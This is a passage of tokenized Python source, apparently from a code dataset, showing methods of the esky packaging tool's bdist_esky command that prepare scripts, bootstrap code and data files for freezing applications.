"10", ";", "\\", "10", ";", " ", " ", " ", " ", "It", "era", "bles", " ", "are", " ", "flattened", ",", " ", "Non", "e", " ", "is", " ", "eli", "ded", ",", " ", "string", "s", " ", "are", " ", "include", "d", " ", "verba", "tim", ",", "\\", "10", ";", " ", " ", " ", " ", "open", " ", "files", " ", "are", " ", "read", " ", "and", " ", "anyt", "hing", " ", "else", " ", "is", " ", "pass", "ed", " ", "to", " ", "inspect", ".", "gets", "ource", "()", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "obj_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "isinstance_", "(_", "obj_", ",_", "basestring_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "obj_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "obj_", ",_", "\"", "read", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "obj_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"\\\\", "n", "\\\\", "n", "\\\\", "n", "\"_", "._", "join_", "(_", "self_", "._", "\\u", "obj2", "code_", "(_", "i_", ")_", "for_", "i_", "in_", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Type", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "inspect_", "._", "gets", "ource_", "(_", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "bdist", "\\u", "es", "ky_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "boots", "trap", "\\u", "code_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Get", " ", "any", " ", "extra", " ", "code", " ", "to", " ", "be", " ", "executed", " ", "by", " ", "the", " ", "bootstrapp", "ing", " ", "exe", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "method", " ", "interpret", "s", " ", "the", " ", "boots", "trap", "-", "code", " ", "and", " ", "boots", "trap", "-", "module", " ", "settings", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "construct", " ", "any", " ", "extra", " ", "bootstrapp", "ing", " ", "code", " ", "tha", "t", " ", "must", " ", "be", " ", "executed", " ", "by", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "frozen", " ", "boots", "trap", " ", "executable", ".", " ", " ", "It", " ", "is", " ", "return", "ed", " ", "as", " ", "a", " ", "string", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bsc", "ode_", "=_", "self_", "._", "boots", "trap", "\\u", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "bsc", "ode_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "boots", "trap", "\\u", "module_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bsc", "ode_", "=_", "\\u\\u", "import\\u\\u_", "(_", "self_", "._", "boots", "trap", "\\u", "module_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "submod", "_", "in_", "self_", "._", "boots", "trap", "\\u", "module_", "._", "split_", "(_", "\".\"_", ")_", "[_", "1_", ":_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "bsc", "ode_", "=_", "getattr_", "(_", "bsc", "ode_", ",_", "submod", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "bsc", "ode_", "=_", "self_", "._", "\\u", "obj2", "code_", "(_", "bsc", "ode_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "bsc", "ode_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "bdist", "\\u", "es", "ky_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "executable", "s_", "(_", "self_", ",_", "normalise", "_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Yi", "eld", " ", "a", " ", "normalise", "d", " ", "Executable", " ", "instance", " ", "for", " ", "each", " ", "script", " ", "to", " ", "be", " ", "frozen", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "\"", "normalise", "\"", " ", "is", " ", "Tru", "e", " ", "(", "the", " ", "default", ")", " ", "then", " ", "the", " ", "user", "-", "provided", " ", "scripts", "\\", "10", ";", " ", " ", " ", " ", "will", " ", "be", " ", "rew", "rit", "ten", " ", "to", " ", "decode", " ", "any", " ", "non", "-", "filename", " ", "items", " ", "specified", " ", "as", " ", "part", "\\", "10", ";", " ", " ", " ", " ", "of", " ", "the", " ", "script", ",", " ", "and", " ", "to", " ", "include", " ", "the", " ", "es", "ky", " ", "start", "up", " ", "code", ".", " ", " ", "If", " ", "the", " ", "freez", "er", "\\", "10", ";", " ", " ", " ", " ", "has", " ", "a", " ", "bett", "er", " ", "way", " ", "of", " ", "doi", "ng", " ", "these", " ", "thing", "s", ",", " ", "it", " ", "shou", "ld", " ", "pass", " ", "normalise", "=", "Fal", "se", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "normalise", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "tempdir_", ",_", "\"", "scripts", "\"_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "mkdir_", "(_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "tempdir_", ",_", "\"", "scripts", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "distribution_", "._", "has", "\\u", "scripts_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "s_", "in_", "self_", "._", "distribution_", "._", "scripts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "s_", ",_", "Executable", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "exe_", "=_", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "exe_", "=_", "Executable", "_", "(_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "normalise", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", "Give", " ", "the", " ", "normalise", "d", " ", "script", " ", "file", " ", "a", " ", "name", " ", "matchi", "ng", " ", "that_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "specified", ",", " ", "sinc", "e", " ", "some", " ", "freez", "ers", " ", "only", " ", "take", " ", "the", " ", "filename", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "name_", "=_", "exe_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "sys_", "._", "platform_", "==_", "\"", "win32", "\"_", "and_", "name_", "._", "endswith_", "(_", "\".", "exe", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "name_", "=_", "name_", "[_", ":_", "-_", "4_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "exe_", "._", "endswith_", "(_", "\".", "pyw", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "ext_", "=_", "\".", "pyw", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "ext_", "=_", "\".", "py", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "script_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "tempdir_", ",_", "\"", "scripts", "\"_", ",_", "name_", "+_", "ext_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", "Get", " ", "the", " ", "code", " ", "for", " ", "the", " ", "target", " ", "script", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "If", " ", "it", "'", "s", " ", "a", " ", "single", " ", "string", " ", "then", " ", "interpret", " ", "it", " ", "as", " ", "a", " ", "filename", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "other", "wis", "e", " ", "feed", " ", "it", " ", "int", "o", " ", "the", " ", "\\u", "obj2", "code", " ", "logic", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "isinstance_", "(_", "exe_", "._", "script_", ",_", "basestring_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "with_", "open_", "(_", "exe_", "._", "script_", ",_", "\"", "rt", "\"_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "code_", "=_", "f_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "code_", "=_", "self_", "._", "\\u", "obj2", "code_", "(_", "exe_", "._", "script_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", "Check", " ", "tha", "t", " ", "the", " ", "code", " ", "actual", "ly", " ", "compile", "s", " ", "-", " ", "somet", "imes", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "can", " ", "be", " ", "hard", " ", "to", " ", "get", " ", "a", " ", "good", " ", "message", " ", "out", " ", "of", " ", "the", " ", "freez", "er", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "compile_", "(_", "code_", ",_", "\"\"_", ",_", "\"", "exec", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", "Augment", " ", "the", " ", "give", "n", " ", "code", " ", "with", " ", "special", " ", "es", "ky", "-", "relate", "d", " ", "logic", "._", "\\u\\u\\uNL\\u\\u\\u_", "with_", "open_", "(_", "script_", ",_", "\"", "wt", "\"_", ")_", "as_", "f", "Out_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "lines_", "=_", "(_", "ln_", "+_", "\"\\\\", "n", "\"_", "for_", "ln_", "in_", "code_", "._", "split_", "(_", "\"\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", "Keep", " ", "any", " ", "lead", "ing", " ", "comment", "s", " ", "and", " ", "\\u\\u", "future", "\\u\\u", " ", "imports_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "at", " ", "the", " ", "start", " ", "of", " ", "the", " ", "file", "._", "\\u\\u\\uNL\\u\\u\\u_", "for_", "ln_", "in_", "lines_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "ln_", "._", "strip_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "not_", "ln_", "._", "strip_", "(_", ")_", "._", "startswith_", "(_", "\"#\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "\"\\u\\u", "future", "\\u\\u\"_", "not_", "in_", "ln_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f", "Out_", "._", "write_", "(_", "ln_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", "Run", " ", "the", " ", "start", "up", " ", "hook", "s", " ", "bef", "ore", " ", "any", " ", "actual", " ", "code", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "don", "t", "\\u", "run", "\\u", "start", "up", "\\u", "hooks_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "f", "Out_", "._", "write_", "(_", "\"", "import", " ", "es", "ky", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f", "Out_", "._", "write_", "(_", "\"", "es", "ky", ".", "run", "\\u", "start", "up", "\\u", "hook", "s", "()", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f", "Out_", "._", "write_", "(_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", "The", "n", " ", "just", " ", "include", " ", "the", " ", "rest", " ", "of", " ", "the", " ", "script", " ", "code", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f", "Out_", "._", "write_", "(_", "ln_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "ln_", "in_", "lines_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "f", "Out_", "._", "write_", "(_", "ln_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "new", "\\u", "exe_", "=_", "Executable", "_", "(_", "script_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "exe_", "._", "\\u\\u", "dict\\u\\u_", "._", "update_", "(_", "exe_", "._", "\\u\\u", "dict\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "exe_", "._", "script_", "=_", "script_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exe_", "=_", "new", "\\u", "exe_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "yield_", "exe_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "bdist", "\\u", "es", "ky_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "data\\u", "files_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Yi", "eld", " ", "(", "source", ",", "destinat", "ion", ")", " ", "tuple", "s", " ", "for", " ", "data", " ", "files", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "method", " ", "generat", "es", " ", "the", " ", "names", " ", "of", " ", "all", " ", "data", " ", "file", " ", "to", " ", "be", " ", "include", "d", " ", "in", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "frozen", " ", "app", ".", " ", " ", "The", "y", " ", "shou", "ld", " ", "be", " ", "place", "d", " ", "direct", "ly", " ", "int", "o", " ", "the", " ", "freez", "e", "\\", "10", ";", " ", " ", " ", " ", "director", "y", " ", "as", " ", "raw", " ", "files", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fdi", "r_", "=_", "self_", "._", "freez", "e\\u", "dir_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "sys_", "._", "platform_", "==_", "\"", "win32", "\"_", "and_", "self_", "._", "bundle", "\\u", "msvcrt", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "(_", "src_", ",_", "dst_", ")_", "in_", "self_", "._", "get", "\\u", "msvcrt", "\\u", "private", "\\u", "assem", "bly", "\\u", "files_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "(_", "src_", ",_", "dst_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "distribution_", "._", "data\\u", "files_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "datafile_", "in_", "self_", "._", "distribution_", "._", "data\\u", "files_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", "Plai", "n", " ", "string", "s", " ", "get", " ", "place", "d", " ", "in", " ", "the", " ", "root", " ", "dist", " ", "director", "y", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "datafile_", ",_", "basestring_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "datafile_", "=_", "(_", "\"\"_", ",_", "[_", "datafile_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "(_", "dst_", ",_", "sources_", ")_", "=_", "datafile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "isabs_", "(_", "dst_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "err_", "=_", "\"", "cant", " ", "freez", "e", " ", "abs", "olute", " ", "data\\u", "file", " ", "path", "s", " ", "(%", "s", ")\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "err_", "=_", "err_", "%_", "(_", "dst_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Value", "Error_", "(_", "err_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "dst_", "=_", "convert", "\\u", "path_", "(_", "dst_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "src_", "in_", "sources_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "src_", "=_", "convert", "\\u", "path_", "(_", "src_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "(_", "src_", ",_", "os_", "._", "path_", "._", "join_", "(_", "dst_", ",_", "os_", "._", "path_", "._", "basename_", "(_", "src_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "bdist", "\\u", "es", "ky_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "package", "\\u", "data_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Yi", "eld", " ", "(", "source", ",", "destinat", "ion", ")", " ", "tuple", "s", " ", "for", " ", "package", " ", "data", " ", "files", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "method", " ", "generat", "es", " ", "the", " ", "names", " ", "of", " ", "all", " ", "package", " ", "data", " ", "files", " ", "to", " ", "be", "\\", "10", ";", " ", " ", " ", " ", "include", "d", " ", "in", " ", "the", " ", "frozen", " ", "app", ".", " ", " ", "The", "y", " ", "shou", "ld", " ", "be", " ", "place", "d", " ", "in", " ", "the", " ", "librar", "y", ".", "zip", "\\", "10", ";", " ", " ", " ", " ", "or", " ", "equivalent", ",", " ", "along", "side", " ", "the", " ", "python", " ", "files", " ", "for", " ", "tha", "t", " ", "package", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "distribution_", "._", "package", "\\u", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "pkg_", ",_", "data_", "in_", "self_", "._", "distribution_", "._", "package", "\\u", "data_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pkg", "\\u", "dir_", "=_", "self_", "._", "get", "\\u", "package", "\\u", "dir_", "(_", "pkg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pkg", "\\u", "path_", "=_", "pkg_", "._", "replace_", "(_", "\".\"_", ",_", "\"/\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "data_", ",_", "basestring_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "data_", "=_", "[_", "data_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "dpa", "tter", "n_", "in_", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "dfile", "s_", "=_", "glob_", "(_", "os_", "._", "path_", "._", "join_", "(_", "pkg", "\\u", "dir_", ",_", "convert", "\\u", "path_", "(_", "dpa", "tter", "n_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "nm_", "in_", "dfile", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "arc", "nm_", "=_", "pkg", "\\u", "path_", "+_", "nm_", "[_", "len_", "(_", "pkg", "\\u", "dir_", ")_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "(_", "nm_", ",_", "arc", "nm_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "bdist", "\\u", "es", "ky_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "package", "\\u", "dir_", "(_", "self_", ",_", "pkg_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", " ", "director", "y", " ", "where", " ", "the", " ", "give", "n", " ", "package", " ", "is", " ", "located", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "was", " ", "large", "ly", " ", "swi", "ped", " ", "from", " ", "distutils", ",", " ", "with", " ", "some", " ", "clean", "ups", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inpa", "th_", "=_", "pkg_", "._", "split_", "(_", "\".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "outpath_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "self_", "._", "distribution_", "._", "package", "\\u", "dir_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "outpath_", "=_", "inpa", "th_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "while_", "inpa", "th_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "dir_", "=_", "self_", "._", "distribution_", "._", "package", "\\u", "dir_", "[_", "\".\"_", "._", "join_", "(_", "inpa", "th_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "outpath_", "._", "insert_", "(_", "0_", ",_", "inpa", "th_", "[_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "inpa", "th_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "outpath_", "._", "insert_", "(_", "0_", ",_", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "dir_", "=_", "self_", "._", "package", "\\u", "dir_", "[_", "\"\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "outpath_", "._", "insert_", "(_", "0_", ",_", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "outpath_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "os_", "._", "path_", "._", "join_", "(_", "*_", "outpath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", 